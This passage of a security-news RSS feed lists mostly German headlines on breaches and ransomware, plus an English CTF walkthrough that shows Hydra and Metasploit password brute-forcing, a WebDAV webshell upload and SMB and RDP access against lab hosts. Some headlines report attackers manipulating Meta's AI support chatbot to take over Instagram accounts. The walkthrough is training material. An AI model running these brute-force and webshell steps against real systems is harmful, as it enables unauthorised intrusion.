<guid isPermaLink="true">https://tsecurity.de/de/3576136/IT+Sicherheit/Hacker/BRICKSTORM-Malware%3A+Chinesische+Hacker+bleiben+18+Monate+unentdeckt/</guid>
<pubDate>Fri, 05 Jun 2026 16:11:32 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Hacker stehlen verschlüsselte Passwortmanager-Tresore: Warum die Logins der User ...]]></title> 
<description><![CDATA[Ein bekannter Passwortmanager und dessen Nutzer:innen wurden von Cyberkriminellen attackiert. Die Angreifer:innen konnten dabei verschl&uuml;sselte&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3576135/IT+Sicherheit/Hacker/Hacker+stehlen+verschl%C3%BCsselte+Passwortmanager-Tresore%3A+Warum+die+Logins+der+User+.../</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576135/IT+Sicherheit/Hacker/Hacker+stehlen+verschl%C3%BCsselte+Passwortmanager-Tresore%3A+Warum+die+Logins+der+User+.../</guid>
<pubDate>Fri, 05 Jun 2026 16:20:19 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Hacker stehlen verschlüsselte Passwortmanager-Tresore: Warum die Logins der User ...]]></title> 
<description><![CDATA[Ein bekannter Passwortmanager und dessen Nutzer:innen wurden von Cyberkriminellen attackiert. ]]></description>
<link>https://tsecurity.de/de/3576134/IT+Sicherheit/Hacker/Hacker+stehlen+verschl%C3%BCsselte+Passwortmanager-Tresore%3A+Warum+die+Logins+der+User+.../</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576134/IT+Sicherheit/Hacker/Hacker+stehlen+verschl%C3%BCsselte+Passwortmanager-Tresore%3A+Warum+die+Logins+der+User+.../</guid>
<pubDate>Fri, 05 Jun 2026 17:07:41 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Cyber-Schock: Hacker legen Neuwoges lahm – Mieter, Pflegeheim und Tierheim betroffen]]></title> 
<description><![CDATA[Cyber-Schock: Hacker legen Wohnungsunternehmen lahm &ndash; Mieter, Pflegeheim und Tierheim betroffen. Die Neuwoges, der kommunale Vermieter in&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3576133/IT+Sicherheit/Hacker/Cyber-Schock%3A+Hacker+legen+Neuwoges+lahm+%E2%80%93+Mieter%2C+Pflegeheim+und+Tierheim+betroffen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576133/IT+Sicherheit/Hacker/Cyber-Schock%3A+Hacker+legen+Neuwoges+lahm+%E2%80%93+Mieter%2C+Pflegeheim+und+Tierheim+betroffen/</guid>
<pubDate>Fri, 05 Jun 2026 17:41:08 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Was ist eigentlich das «Darknet»? - Wissen - SRF]]></title> 
<description><![CDATA[Es klingt dunkel und mysteri&ouml;s: Die Unterwelt des Internets, wo sich Schurken und Hacker herumtreiben. Doch was ist das Darknet wirklich? Autor&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3576132/IT+Sicherheit/Hacker/Was+ist+eigentlich+das+%C2%ABDarknet%C2%BB%3F+-+Wissen+-+SRF/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576132/IT+Sicherheit/Hacker/Was+ist+eigentlich+das+%C2%ABDarknet%C2%BB%3F+-+Wissen+-+SRF/</guid>
<pubDate>Fri, 05 Jun 2026 17:45:18 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Razzia auf Hof bei Kiel: Das sagt IT-Experte zum Spionagevorwurf - SHZ]]></title> 
<description><![CDATA[Nach einem Hacker-Angriff auf die Marine ist der Hof eines IT-Experten bei Kiel durchsucht worden. Nun &auml;u&szlig;ert sich der IT-Experte selbst zu dem&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3576131/IT+Sicherheit/Hacker/Razzia+auf+Hof+bei+Kiel%3A+Das+sagt+IT-Experte+zum+Spionagevorwurf+-+SHZ/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576131/IT+Sicherheit/Hacker/Razzia+auf+Hof+bei+Kiel%3A+Das+sagt+IT-Experte+zum+Spionagevorwurf+-+SHZ/</guid>
<pubDate>Fri, 05 Jun 2026 17:57:21 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Hacker erbeuten sensible Patientendaten: So ist unsere Region betroffen]]></title> 
<description><![CDATA[Unz&auml;hlige teils sensible Patientendaten hatten Hacker bei einem Angriff auf das System eines externen Abrechnungsdienstleisters im April abgegriffen. ]]></description>
<link>https://tsecurity.de/de/3576130/IT+Sicherheit/Hacker/Hacker+erbeuten+sensible+Patientendaten%3A+So+ist+unsere+Region+betroffen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576130/IT+Sicherheit/Hacker/Hacker+erbeuten+sensible+Patientendaten%3A+So+ist+unsere+Region+betroffen/</guid>
<pubDate>Fri, 05 Jun 2026 18:24:42 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Kali365-Angriffe: 126 Server, 230 Euro/Monat, 80 Mio. MAX-Nutzer bedroht - BornCity]]></title> 
<description><![CDATA[Im Visier der Hacker stehen unter anderem Okta Single Sign-On (SSO), der Messenger MAX, Xerox DocuShare sowie Cloud- und Mailanbieter wie AWS, GMX und&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3576129/IT+Sicherheit/Hacker/Kali365-Angriffe%3A+126+Server%2C+230+Euro%2FMonat%2C+80+Mio.+MAX-Nutzer+bedroht+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576129/IT+Sicherheit/Hacker/Kali365-Angriffe%3A+126+Server%2C+230+Euro%2FMonat%2C+80+Mio.+MAX-Nutzer+bedroht+-+BornCity/</guid>
<pubDate>Fri, 05 Jun 2026 18:28:20 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Instagram-Hack: KI-Bot ermöglichte Übernahme prominenter Konten - BornCity]]></title> 
<description><![CDATA[Hacker &uuml;bernahmen prominente Instagram-Profile durch Manipulation von Metas KI-Support. Ein Notfall-Patch wurde ausgerollt. ]]></description>
<link>https://tsecurity.de/de/3576128/IT+Sicherheit/Hacker/Instagram-Hack%3A+KI-Bot+erm%C3%B6glichte+%C3%9Cbernahme+prominenter+Konten+-+BornCity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576128/IT+Sicherheit/Hacker/Instagram-Hack%3A+KI-Bot+erm%C3%B6glichte+%C3%9Cbernahme+prominenter+Konten+-+BornCity/</guid>
<pubDate>Fri, 05 Jun 2026 18:28:27 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Angst vor Russland: Hacker entschuldigen sich bei attackierter Firma - Golem.de]]></title> 
<description><![CDATA[Ein Cyberakteur entpuppt sich als &quot;Ransomware-Trottel des Tages&quot;. Er hat ein Ziel attackiert, das ihm wirklich Probleme bereiten kann. ]]></description>
<link>https://tsecurity.de/de/3576127/IT+Sicherheit/Hacker/Angst+vor+Russland%3A+Hacker+entschuldigen+sich+bei+attackierter+Firma+-+Golem.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576127/IT+Sicherheit/Hacker/Angst+vor+Russland%3A+Hacker+entschuldigen+sich+bei+attackierter+Firma+-+Golem.de/</guid>
<pubDate>Fri, 05 Jun 2026 18:53:31 +0200</pubDate>
</item>
<item> 
<title><![CDATA[NSA nutzt Anthropic-Modell Mythos für Cyberoperationen - Zamin.uz]]></title> 
<description><![CDATA[Dies wurde von Techcrunch.com berichtet . Derzeit liegen keine genauen Informationen vor, dass Ingenieure oder das Mythos-Modell direkt in Hacking-&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3576087/IT+Sicherheit/Hacker/NSA+nutzt+Anthropic-Modell+Mythos+f%C3%BCr+Cyberoperationen+-+Zamin.uz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576087/IT+Sicherheit/Hacker/NSA+nutzt+Anthropic-Modell+Mythos+f%C3%BCr+Cyberoperationen+-+Zamin.uz/</guid>
<pubDate>Fri, 05 Jun 2026 18:02:44 +0200</pubDate>
</item>
<item> 
<title><![CDATA[I traveled 2,700 miles with Sony, Apple, and Sennheiser headphones - this pair sounded the best]]></title> 
<description><![CDATA[Air travel is the true test for ANC headphones and earbuds. My multiple journeys revealed all the strengths and weaknesses of these latest models. ]]></description>
<link>https://tsecurity.de/de/3576086/IT+Sicherheit/Hacker/I+traveled+2%2C700+miles+with+Sony%2C+Apple%2C+and+Sennheiser+headphones+-+this+pair+sounded+the+best/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576086/IT+Sicherheit/Hacker/I+traveled+2%2C700+miles+with+Sony%2C+Apple%2C+and+Sennheiser+headphones+-+this+pair+sounded+the+best/</guid>
<pubDate>Fri, 05 Jun 2026 18:50:00 +0200</pubDate>
</item>
<item> 
<title><![CDATA[I had ChatGPT build me a free PDF editor because I didn't trust it to change my files - it worked!]]></title> 
<description><![CDATA[The smartest way to use AI may not be letting it touch your files, but asking it to write software that handles them safely - in the time it takes to make dinner. ]]></description>
<link>https://tsecurity.de/de/3575587/IT+Sicherheit/Hacker/I+had+ChatGPT+build+me+a+free+PDF+editor+because+I+didn%27t+trust+it+to+change+my+files+-+it+worked%21/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3575587/IT+Sicherheit/Hacker/I+had+ChatGPT+build+me+a+free+PDF+editor+because+I+didn%27t+trust+it+to+change+my+files+-+it+worked%21/</guid>
<pubDate>Fri, 05 Jun 2026 16:06:19 +0200</pubDate>
</item>
<item> 
<title><![CDATA[PCPJack Exposed: Researchers Uncover 230-Node Cloud Email Relay Network]]></title> 
<description><![CDATA[Researchers uncovered a 230-node cloud-based email relay network after the actor PCPJack accidentally exposed tools, logs, and C2 files online A threat actor tracked as PCPJack compromised 230 cloud servers across Amazon Web Services, Google Cloud, and Microsoft Azure and turned them into a covert email relay network. Hunt.io researchers discovered the operation because PCPJack [&hellip;] ]]></description>
<link>https://tsecurity.de/de/3575065/IT+Sicherheit/Hacker/PCPJack+Exposed%3A+Researchers+Uncover+230-Node+Cloud+Email+Relay+Network/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3575065/IT+Sicherheit/Hacker/PCPJack+Exposed%3A+Researchers+Uncover+230-Node+Cloud+Email+Relay+Network/</guid>
<pubDate>Fri, 05 Jun 2026 12:19:21 +0200</pubDate>
</item>
<item> 
<title><![CDATA[“Bug Bounty Bootcamp #44: No Login?]]></title> 
<description><![CDATA[You stumble on a login page. No &ldquo;Register&rdquo;, no &ldquo;Forgot Password&rdquo;. Just two lonely text boxes staring back at you. Most hunters give up&hellip;Continue reading on InfoSec Write-ups &raquo; ]]></description>
<link>https://tsecurity.de/de/3574573/IT+Sicherheit/Hacker/%E2%80%9CBug+Bounty+Bootcamp+%2344%3A+No+Login%3F/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3574573/IT+Sicherheit/Hacker/%E2%80%9CBug+Bounty+Bootcamp+%2344%3A+No+Login%3F/</guid>
<pubDate>Fri, 05 Jun 2026 08:40:01 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Host & Network Penetration Testing: System-Host Based Attacks CTF 1 — eJPT (INE)]]></title> 
<description><![CDATA[A walkthrough covering HTTP brute-forcing, WebDAV exploitation, and SMB enumeration to capture all four&nbsp;flagsHello everyone! 👋In this blog, I&rsquo;ll walk through the System/Host-Based Attacks CTF 1 from INE&rsquo;s eJPT path and explain how I approached each flag. The focus is on methodology and reasoning &mdash; not just dropping commands.This lab has two Windows targets: target1.ine.local and target2.ine.local. The goal is to capture four flags hidden across both machines using system and host-based attack techniques.Useful files provided by the&nbsp;lab:/usr/share/metasploit-framework/data/wordlists/common_users.txt/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt/usr/share/webshells/asp/webshell.aspSo, let&rsquo;s dive&nbsp;in.Q. User &lsquo;bob&rsquo; might not have chosen a strong password. Try common passwords. (target1.ine.local)As usual, I started with an Nmap scan to identify the running services.nmap -sV -sC -T5 target1.ine.localNmap scan&nbsp;resultsThe scan showed that port 80 was open running Microsoft IIS 10.0, but it returned a 401 Unauthorized &mdash; meaning it was protected by HTTP Basic Authentication. Ports 135, 139, 445 (SMB), and 3389 (RDP) were also&nbsp;open.I navigated to http://target1.ine.local in the browser and it immediately asked for credentials.The site was asking for authentication.Since the question already hinted that Bob might have a weak password, I decided to brute-force his password using Hydra and a common password&nbsp;list.hydra -l bob -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target1.ine.local http-get /Hydra ResultHydra successfully identified Bob&rsquo;s password.Now I had valid credentials. I logged in, I didn&rsquo;t find anything useful on the homepage, so I moved on to directory enumeration with&nbsp;DIRB.dirb http://target1.ine.local -u bob:DIRB ResultDIRB found two directories &mdash; /aspnet_client/ and /webdav/. The WebDAV directory was listable, so I navigated straight to it: http://target1.ine.local/webdav/And there it was &mdash; flag1.txt sitting right in the directory listing.Q. Valuable files are often on the C:\ drive. Explore it thoroughly. (target1.ine.local)Since WebDAV was open and writable, I first ran DAVTest to check which file types the server would accept and&nbsp;execute:davtest -auth bob: -url http://target1.ine.local/webdav.asp files were both uploadable and executable &mdash; exactly what I needed, since the lab provides a pre-built ASP webshell.I used Cadaver (a command-line WebDAV client) to upload&nbsp;it:cadaver http://target1.ine.localdav:/&gt; cd webdavdav:/webdav/&gt; put /usr/share/webshells/asp/webshell.aspAfter uploading the shell, I accessed it from the&nbsp;browser.http://target1.ine.local/webdav/webshell.aspThe shell executed successfully and allowed command execution on the&nbsp;target.From there, I started enumerating the contents of the C:\&nbsp;drive.The C: drive listing came back &mdash; and flag2.txt was sitting right there in the&nbsp;root.Q. SMB shares might contain hidden files. Check the available shares. (target2.ine.local)The question hinted toward SMB enumeration, so I started with another Nmap&nbsp;scan.No web server this time. But port 445 (SMB) and port 3389 (RDP) were both open &mdash; running Windows Server 2008&nbsp;R2&ndash;2012.I used Metasploit&rsquo;s smb_login module to brute-force the Administrator account:use auxiliary/scanner/smb/smb_loginset rhost target2.ine.localset SMBUser administratorset pass_file /usr/share/metasploit-framework/data/wordlists/unix_passwords.txtset verbose falserunGot it on the first&nbsp;run.With valid credentials, I listed the available SMB&nbsp;shares:smbclient -L //target2.ine.local -U administratorSeveral shares came back &mdash; ADMIN$, C$, IPC$, Shared, Shared2, Shared3. The C$ administrative share looked most interesting, so I connected to&nbsp;it:smbclient //target2.ine.local/C$ -U administratorRight there in the C: drive root &mdash; flag3.txt.Q. The Desktop directory might have what you&rsquo;re looking for. Enumerate its contents. (target2.ine.local)Still in the same smbclient session, the hint was straightforward &mdash; check the&nbsp;Desktop:smb: \&gt; ls .\Users\Administrator\Desktop\Inside the Desktop folder, I found the fourth&nbsp;flag.Bonus: RDP&nbsp;AccessSince port 3389 was open and we had valid Administrator credentials from the SMB brute-force, I couldn&rsquo;t resist trying&nbsp;RDP:xfreerdp /u:administrator /p: /v:target2.ine.local:3389RDP accessAccepted the self-signed certificate and got a full Windows Server desktop. Complete access &mdash; no further exploitation needed.Final ThoughtsThis CTF is a solid exercise in chaining simple techniques together. No complex exploits &mdash; just weak passwords, a misconfigured WebDAV server, and an exposed SMB share doing all the&nbsp;damage.The big lesson here: credentials are everything. Both targets fell because of weak passwords. Once you have valid credentials, the rest is just enumeration. And the same Administrator password that cracked SMB also opened RDP &mdash; a reminder that credential reuse is one of the most reliable pivot points in any engagement.Thanks for&nbsp;reading!Host &amp; Network Penetration Testing: System-Host Based Attacks CTF 1 &mdash; eJPT (INE) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3574572/IT+Sicherheit/Hacker/Host+%26amp%3B+Network+Penetration+Testing%3A+System-Host+Based+Attacks+CTF+1+%E2%80%94+eJPT+%28INE%29/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3574572/IT+Sicherheit/Hacker/Host+%26amp%3B+Network+Penetration+Testing%3A+System-Host+Based+Attacks+CTF+1+%E2%80%94+eJPT+%28INE%29/</guid>
<pubDate>Fri, 05 Jun 2026 08:40:13 +0200</pubDate>
</item>
<item> 
<title><![CDATA[I Started Learning AWS and Realised I Didn’t Fully Understand the Internet]]></title> 
<description><![CDATA[My journey into cloud computing and the concepts that changed how I view modern technology.IntroWhen I first learnt about the cloud, I believed the cloud was just a computer in a different location. But that misconception broke, just recently, when I started learning&nbsp;AWS.Later, I found it was not only a single concept that I had misunderstood, but when I learnt more about AWS, it completely changed how I looked at the internet.Later in this write-up, I will fully explain the core concepts of the cloud and AWS, which I have learnt from the AWS Cloud Practitioner Essentials.The Cloud ComputingThe single-line definition, yet very powerful, which fully explains cloud computing core concepts.The Cloud Computing is an on-demand delivery of the IT Resources over the internet with pay-as-you-go pricing.Breaking down the definitionon-demand: You can provision servers, databases, or software whenever you need them with a few clicks, without waiting to buy or set up physical equipment.IT Resources: An IT Resource is any digital or physical technology asset used to process, store, or manage data. Ex: CPUs, Hard drives, VMs, Firewalls, Databases, IT software, etc.over the internet: You can access the resources directly using the internet connection &ldquo;remotely&rdquo;.Cloud Deployment ModelA Cloud Deployment Model defines where your cloud infrastructure lives, who owns and manages it, and how it is accessed.Understanding these models is the crucial first step for any business migrating to the cloud, as each offers distinct trade-offs in governance, cost, security, and management.Public Cloud (Credit: geeksforgeeks)1. Public&nbsp;Cloud:The Pubic Cloud delivers services and infrastructure to the public or broad industry group. The infrastructure is entirely owned, managed, and maintained by a third-party cloud service provider, and resources are shared among multiple&nbsp;tenants.E.g., Google Cloud, AWS, Microsoft AzurePrivate Cloud (Credit: geeksforgeeks)2. Private&nbsp;CloudThe Private Cloud is a one-on-one environment for a single user (customer). There is no need to share your hardware with anyone&nbsp;else.The distinction between public and private is in how you handle all of the hardware.The private cloud gives greater flexibility and control over cloud resources.Hybrid Cloud (Credit: geeksforgeeks)3. Hybrid&nbsp;CloudIt&#039;s a combination of Private and Public&nbsp;cloud.With a hybrid solution, you may host the app in a safe environment while taking advantage of the public cloud&rsquo;s cost&nbsp;savings.Organisations can move data and applications between different clouds by combining two or more cloud deployment methods, depending on their&nbsp;needs.What is&nbsp;AWS?Amazon Web Services (AWS) is the world&rsquo;s most comprehensive and broadly adopted cloud platform.It was officially launched in March 2006. Major tech giants like Netflix migrated entirely to AWS, and by 2015, the platform became highly profitable.Benefits of The AWS&nbsp;CloudStop guessing capacity: Allows you to dynamically scale AWS Cloud Resources up or down based on real-world demand.Increase Speed and Agility: Businesses can rapidly deploy applications and services, accelerating time to market and facilitating quicker responses to changing business needs and market conditions.Stop spending money to run and maintain data centers: The AWS Cloud eliminates the need for businesses to invest in physical data centers. This means that customers aren&rsquo;t required to spend time and money on utilities and ongoing maintenance.Benefit from massive economies of scale: Buying a product in bulk can result in lower prices per unit. This means that AWS can be used by many organisations, from small startups to major corporations.AWS Global InfrastructureAWS Global Infrastructure consists of physical locations around the world that contain groups of data&nbsp;centers.It is designed with high availability and fault tolerance in&nbsp;mind.Availability Zones&nbsp;(AZ)Availability Zones are configured as isolated resources, and they are each equipped with independent power, networking, and connectivity.It&rsquo;s recommended to distribute your resources across multiple AZs. That way, if one AZ encounters an outage, your business applications will continue to operate without interruption.AWS Shared Responsibility ModelThe AWS Shared Responsibility Model is a concept designed to help AWS and customers work together to create a secure, functional cloud environment.AWS Shared Responsibility Model (Credit:&nbsp;AWS)ConclusionAWS provided the IT Resources to the organisations with ease and a lot of benefits. It not only helps large organisations but also helps small start-ups by reducing maintenance efforts and&nbsp;costs.But we haven&rsquo;t seen the AWS Services and support it provides.Later in the upcoming write-up, I will bring the AWS write-up on AWS services, features, functionalities, and management tools.So, make sure you follow and subscribe to the email ✉&nbsp;.Let me know your thoughts 💭 and what part of AWS benefits you like the&nbsp;most.Clap and share this with your friends and colleagues. See you in the upcoming&nbsp;blog.Till then, keep learning, keep&nbsp;growing.I Started Learning AWS and Realised I Didn&rsquo;t Fully Understand the Internet was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3574571/IT+Sicherheit/Hacker/I+Started+Learning+AWS+and+Realised+I+Didn%E2%80%99t+Fully+Understand+the+Internet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3574571/IT+Sicherheit/Hacker/I+Started+Learning+AWS+and+Realised+I+Didn%E2%80%99t+Fully+Understand+the+Internet/</guid>
<pubDate>Fri, 05 Jun 2026 08:43:40 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Instagram-Sicherheitslücke: Hacker übernahmen Konten via KI-Chatbot - Ad-hoc-news.de]]></title> 
<description><![CDATA[Hacker nutzen Sicherheitsl&uuml;cke in Metas KI-Support aus und &uuml;bernehmen Instagram-Profile. Selbst 2FA sch&uuml;tzt nicht immer. ]]></description>
<link>https://tsecurity.de/de/3574432/IT+Sicherheit/Hacker/Instagram-Sicherheitsl%C3%BCcke%3A+Hacker+%C3%BCbernahmen+Konten+via+KI-Chatbot+-+Ad-hoc-news.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3574432/IT+Sicherheit/Hacker/Instagram-Sicherheitsl%C3%BCcke%3A+Hacker+%C3%BCbernahmen+Konten+via+KI-Chatbot+-+Ad-hoc-news.de/</guid>
<pubDate>Fri, 05 Jun 2026 05:38:29 +0200</pubDate>
</item>
<item> 
<title><![CDATA[SiribClone-Cyberspione greifen russisches Militär an - Zamin.uz]]></title> 
<description><![CDATA[Hacker geben sich in Dating-Apps als M&auml;dchen aus, um mit Milit&auml;rangeh&ouml;rigen zu kommunizieren, und bieten ihnen an, eine Spionage-App namens&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3574159/IT+Sicherheit/Hacker/SiribClone-Cyberspione+greifen+russisches+Milit%C3%A4r+an+-+Zamin.uz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3574159/IT+Sicherheit/Hacker/SiribClone-Cyberspione+greifen+russisches+Milit%C3%A4r+an+-+Zamin.uz/</guid>
<pubDate>Thu, 04 Jun 2026 20:36:57 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Kelp-DAO-Hacker wäscht fast alle 220 Mio. US-Dollar – Asset-Recovery rückt in die Ferne]]></title> 
<description><![CDATA[Analysen zeigen, dass der Kelp-DAO-Bridge-Hacker nach dem LayerZero-Exploit fast 220 Mio. US-Dollar &uuml;ber Privacy-Rails wusch. Nur 1,7 Mio. bleiben&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3574158/IT+Sicherheit/Hacker/Kelp-DAO-Hacker+w%C3%A4scht+fast+alle+220+Mio.+US-Dollar+%E2%80%93+Asset-Recovery+r%C3%BCckt+in+die+Ferne/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3574158/IT+Sicherheit/Hacker/Kelp-DAO-Hacker+w%C3%A4scht+fast+alle+220+Mio.+US-Dollar+%E2%80%93+Asset-Recovery+r%C3%BCckt+in+die+Ferne/</guid>
<pubDate>Thu, 04 Jun 2026 23:43:14 +0200</pubDate>
</item>
<item> 
<title><![CDATA[ElevenLabs startet den »Flows-Agent« - All-AI.de]]></title> 
<description><![CDATA[KI-Support verschenkt Instagram-Konten an Hacker&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3573997/IT+Sicherheit/Hacker/ElevenLabs+startet+den+%C2%BBFlows-Agent%C2%AB+-+All-AI.de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573997/IT+Sicherheit/Hacker/ElevenLabs+startet+den+%C2%BBFlows-Agent%C2%AB+-+All-AI.de/</guid>
<pubDate>Thu, 04 Jun 2026 21:15:42 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Miasma-Angriff: Hacker kompromittieren Red-Hat-npm-Pakete]]></title> 
<description><![CDATA[Miasma-Angriff: Hacker kompromittieren Red-Hat-npm-Pakete. 04.06.2026 - 22:48:44 | boerse-global.de. Der Miasma-Angriff auf Red Hat zeigt&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3573996/IT+Sicherheit/Hacker/Miasma-Angriff%3A+Hacker+kompromittieren+Red-Hat-npm-Pakete/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573996/IT+Sicherheit/Hacker/Miasma-Angriff%3A+Hacker+kompromittieren+Red-Hat-npm-Pakete/</guid>
<pubDate>Thu, 04 Jun 2026 23:09:26 +0200</pubDate>
</item>
<item> 
<title><![CDATA[KI gibt Hackern Werkzeuge, die früher nur Elite-Angreifern zur Verfügung standen]]></title> 
<description><![CDATA[Anthropics Studie von 832 gesperrten Accounts zeigt, dass KI Expertenaufgaben f&uuml;r unerfahrene Hacker &uuml;bernimmt, was Risiken f&uuml;r Krypto erh&ouml;ht. ]]></description>
<link>https://tsecurity.de/de/3573880/IT+Sicherheit/Hacker/KI+gibt+Hackern+Werkzeuge%2C+die+fr%C3%BCher+nur+Elite-Angreifern+zur+Verf%C3%BCgung+standen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573880/IT+Sicherheit/Hacker/KI+gibt+Hackern+Werkzeuge%2C+die+fr%C3%BCher+nur+Elite-Angreifern+zur+Verf%C3%BCgung+standen/</guid>
<pubDate>Thu, 04 Jun 2026 08:03:03 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Live@eXchange Tag 2 – Health-ISAC-Sicherheitsanalyst für Medizinprodukte]]></title> 
<description><![CDATA[Health-ISAC beginnt bei Minute 49:50. Verwandte Ressourcen und Neuigkeiten; Gesundheit-ISAC Hacking Healthcare 6 &middot; Neue Sicherheitsl&uuml;cken zielen auf&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3573805/IT+Sicherheit/Hacker/Live%40eXchange+Tag+2+%E2%80%93+Health-ISAC-Sicherheitsanalyst+f%C3%BCr+Medizinprodukte/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573805/IT+Sicherheit/Hacker/Live%40eXchange+Tag+2+%E2%80%93+Health-ISAC-Sicherheitsanalyst+f%C3%BCr+Medizinprodukte/</guid>
<pubDate>Thu, 04 Jun 2026 18:31:50 +0200</pubDate>
</item>
<item> 
<title><![CDATA[The 10 pentest findings hackers exploit first - Kaseya]]></title> 
<description><![CDATA[Sehen Sie sich dieses On-Demand-Webinar an, um zu erfahren, welche der zehn h&auml;ufigsten Befunde aus Penetrationstests Angreifer ausnutzen und wie&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3573762/IT+Sicherheit/Hacker/The+10+pentest+findings+hackers+exploit+first+-+Kaseya/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573762/IT+Sicherheit/Hacker/The+10+pentest+findings+hackers+exploit+first+-+Kaseya/</guid>
<pubDate>Thu, 04 Jun 2026 19:03:29 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Hacker, Start-ups, roter Teppich: So will Steffen Krach die Berliner Wirtschaft ankurbeln]]></title> 
<description><![CDATA[Der SPD-Spitzenkandidat pr&auml;sentiert einen Zehn-Punkte-Plan f&uuml;r die Hauptstadt. F&uuml;r eine seiner zentralen Ideen schaut er dabei nach&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3573761/IT+Sicherheit/Hacker/Hacker%2C+Start-ups%2C+roter+Teppich%3A+So+will+Steffen+Krach+die+Berliner+Wirtschaft+ankurbeln/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573761/IT+Sicherheit/Hacker/Hacker%2C+Start-ups%2C+roter+Teppich%3A+So+will+Steffen+Krach+die+Berliner+Wirtschaft+ankurbeln/</guid>
<pubDate>Thu, 04 Jun 2026 20:29:38 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Meta hat E-Mail-Benachrichtigungen an Instagram-Nutzer versendet. - Vietnam.vn]]></title> 
<description><![CDATA[Am Wochenende gaben Hacker bekannt, erfolgreich den KI-Chatbot von Meta ausgenutzt zu haben, um die Kontrolle &uuml;ber zahlreiche beliebte Instagram-&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3573565/IT+Sicherheit/Hacker/Meta+hat+E-Mail-Benachrichtigungen+an+Instagram-Nutzer+versendet.+-+Vietnam.vn/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573565/IT+Sicherheit/Hacker/Meta+hat+E-Mail-Benachrichtigungen+an+Instagram-Nutzer+versendet.+-+Vietnam.vn/</guid>
<pubDate>Thu, 04 Jun 2026 05:34:40 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Instagram-Chatbot gehackt: 1,4 Millionen Betrugskonten gelöscht - Börse Express]]></title> 
<description><![CDATA[Hacker nutzen KI f&uuml;r Angriffe auf Passwortmanager und soziale Netzwerke. Banken und Beh&ouml;rden reagieren mit Sicherheitswarnungen. ]]></description>
<link>https://tsecurity.de/de/3573564/IT+Sicherheit/Hacker/Instagram-Chatbot+gehackt%3A+1%2C4+Millionen+Betrugskonten+gel%C3%B6scht+-+B%C3%B6rse+Express/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573564/IT+Sicherheit/Hacker/Instagram-Chatbot+gehackt%3A+1%2C4+Millionen+Betrugskonten+gel%C3%B6scht+-+B%C3%B6rse+Express/</guid>
<pubDate>Thu, 04 Jun 2026 17:34:43 +0200</pubDate>
</item>
<item> 
<title><![CDATA[Kevin Hacker - Nationalmannschaft - Transfermarkt]]></title> 
<description><![CDATA[Das ist Nationalmannschafts-Seite von Kevin Hacker vom Verein SVU Kumberg. Diese Seite enth&auml;lt eine Statistik &uuml;ber die Karriere des Spielers in&nbsp;... ]]></description>
<link>https://tsecurity.de/de/3573432/IT+Sicherheit/Hacker/Kevin+Hacker+-+Nationalmannschaft+-+Transfermarkt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573432/IT+Sicherheit/Hacker/Kevin+Hacker+-+Nationalmannschaft+-+Transfermarkt/</guid>
<pubDate>Thu, 04 Jun 2026 10:54:49 +0200</pubDate>
</item>
<item> 
<title><![CDATA[ClickFix-Welle: Hacker nutzen KI-Tools als Köder für Trojaner - BornCity]]></title> 
